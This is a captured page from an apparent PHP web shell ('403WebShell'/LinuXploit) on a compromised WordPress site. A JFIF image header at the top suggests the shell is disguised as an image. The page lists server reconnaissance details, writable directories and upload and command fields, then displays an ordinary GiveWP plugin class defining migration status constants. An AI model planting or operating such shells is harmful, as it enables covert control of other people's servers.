????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.16.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/./pontiacques.org/wp-content/plugins/give/src/MigrationLog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/./pontiacques.org/wp-content/plugins/give/src/MigrationLog/MigrationLogStatus.php
<?php

namespace Give\MigrationLog;

/**
 * Class MigrationLogStatus
 * @package Give\MigrationLog
 *
 * @since 4.0.0 add RUNNING and INCOMPLETE statuses
 * @since 2.10.0
 */
class MigrationLogStatus
{
    const SUCCESS = 'success';
    const FAILED = 'failed';
    const PENDING = 'pending';
    const RUNNING = 'running';
    const INCOMPLETE = 'incomplete';

    /**
     * Get default migration status
     *
     * @return string
     */
    public static function getDefault()
    {
        return MigrationLogStatus::FAILED;
    }

    /**
     * Get all migration statuses
     *
     * @return array
     */
    public static function getAll()
    {
        return [
            MigrationLogStatus::SUCCESS => esc_html__('Success', 'give'),
            MigrationLogStatus::FAILED => esc_html__('Failed', 'give'),
            MigrationLogStatus::PENDING => esc_html__('Pending', 'give'),
            MigrationLogStatus::RUNNING => esc_html__('Running', 'give'),
            MigrationLogStatus::INCOMPLETE => esc_html__('Incomplete', 'give'),
        ];
    }

    /**
     * Check if value is a valid migration status
     *
     * @param string $status
     *
     * @return bool
     */
    public static function isValid($status)
    {
        return array_key_exists($status, self::getAll());
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit